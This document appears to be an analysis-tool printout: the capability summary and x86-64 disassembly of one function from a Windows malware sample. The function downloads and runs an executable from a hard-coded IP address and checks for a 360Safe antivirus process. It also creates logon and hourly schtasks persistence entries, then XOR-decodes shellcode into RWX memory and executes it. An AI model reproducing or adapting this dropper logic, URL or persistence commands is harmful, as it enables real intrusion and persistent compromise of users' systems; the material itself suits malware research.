Function at 0x140001c10
Capabilities:
Allocate or change rwx memory
Create process on windows
Download url
Encode data using xor
Enumerate processes
Execute command
Execute shellcode via indirect call
Receive data
Schedule task via at
Schedule task via schtasks

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x2c8]
sub rsp, 0x3c0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x270], rax
xor edi, edi
mov r8d, 0x104
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.tgp_daemon.exe
lea rdx, str.http:__103.82.55.77:8080_tgp_daemon.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140001fd4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
mov dword [rbp - 0x1c], eax
mov dword [rbp - 0x80], 0x68
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.tgp_daemon.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001f1d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140003a9c
lea rcx, str.C:UsersPublicDocuments_ttd.exe
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], 0x21
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rbp - 0x10]
call fcn.140001020
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
mov r9d, 0xffffffff
lea r8d, [rdi + 3]
lea rdx, [rbp + 0x10]
call fcn.140003e7c
mov r8d, eax
test eax, eax
jne 0x140001dc2
mov edx, dword [rbp + 0x20]
test dl, 1
mov ecx, 0x1ff
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0x54], ecx
bt edx, 0xa
jae 0x140001db4
mov eax, dword [rbp + 0x24]
cmp eax, 0xa000000c
jne 0x140001da6
lea eax, [rdi + 4]
jmp 0x140001de5
cmp eax, 0xa0000003
jne 0x140001db4
mov eax, 0xa
jmp 0x140001de5
movzx eax, dl
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x140001de5
mov dword [rsp + 0x54], 0xffff
sub eax, 2
je 0x140001de0
sub eax, 1
je 0x140001de0
sub eax, 0x32
je 0x140001de0
cmp eax, 0x46
mov eax, edi
jne 0x140001de5
mov eax, 1
mov dword [rsp + 0x50], r8d
lea rcx, [0x140009c38]
mov qword [rsp + 0x58], rcx
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
test eax, eax
je 0x140001ec4
cmp eax, 1
jne 0x140001ed8
lea rax, [rbp + 0x160]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001e20
call fcn.140003a9c
lea rcx, [rbp + 0x160]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rbx
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.140001020
nop
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rcx, qword [rbp + 0x10]
mov r8d, 2
call fcn.140003bd8
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14000219f
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140001ed8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ed2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ed2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test r8d, r8d
jne 0x1400021b1
jmp 0x140001e12
call fcn.140004230
nop
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x140001f2e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004230
jmp 0x140001f2e
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001f8e
mov dword [rbp + 0x30], 0x130
lea rdx, [rbp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140001f85
nop word [rax + rax]
lea rdx, str.360Safe.exe
lea rcx, [rbp + 0x5c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
mov rcx, rbx
test eax, eax
je 0x140001fcc
lea rdx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001f60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.schtasks__query__tn_LogonTask
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140001fac
lea rcx, str.schtasks__create__sc_onlogon__tn_LogonTask__tr_C:UsersPublicDocuments_ttd.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.schtasks__query__tn_HourlyTask
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140001ff0
lea rcx, str.schtasks__create__sc_hourly__mo_1__tn_HourlyTask__tr_C:UsersPublicDocuments_ttd.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140001ff0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001ff0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400023d0
lea rdx, [0x140002390]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm8, xmm8
mov esi, 1
mov ebx, 0x2d0
movsd xmm9, qword [0x1400068f0]
nop word [rax + rax]
mov ecx, ebx
mov eax, 1
shl eax, cl
movd xmm7, eax
cvtdq2pd xmm7, xmm7
movd xmm6, esi
cvtdq2pd xmm6, xmm6
movaps xmm0, xmm7
divsd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_floor
subsd xmm7, xmm0
movaps xmm1, xmm9
divsd xmm1, xmm6
mulsd xmm7, xmm1
addsd xmm8, xmm7
sub ebx, 0xa
add esi, 0xa
test ebx, ebx
jg 0x140002010
lea rdx, section..text
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, 0x3e8
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setprecision_long_long___int64__]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call qword [rax]
movaps xmm1, xmm8
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___double____ptr64]
lea rdx, [0x140002390]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0xbc4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
movdqa xmm2, xmmword [str._v_v_v_v_v_v_v_v_v_v_v_v_v_v_v_v_]
lea rcx, [0x140009080]
movdqu xmm0, xmmword [rcx - 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x10], xmm1
movdqu xmm0, xmmword [rcx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmm0, xmmword [rcx + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx + 0x20], xmm1
add edi, 0x40
lea rcx, [rcx + 0x40]
cmp edi, 0xbc0
jb 0x1400020d1
movsxd rax, edi
lea rdx, [0x140009070]
cmp rax, 0xbc4
jae 0x140002151
add rax, rdx
nop word [rax + rax]
xor byte [rax], 0xb
inc edi
lea rax, [rax + 1]
cmp edi, 0xbc4
jb 0x140002140
mov rcx, rbx
mov r8d, 0xbc4
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor eax, eax
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.140004210
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop rbp
ret
shr rdx, 0x20
lea r9, [rbp - 0x10]
lea r8, [rbp + 0x10]
call fcn.140001b30
nop
lea r8, [rbp - 0x10]
lea rdx, [rsp + 0x50]
call fcn.140001bb0
int3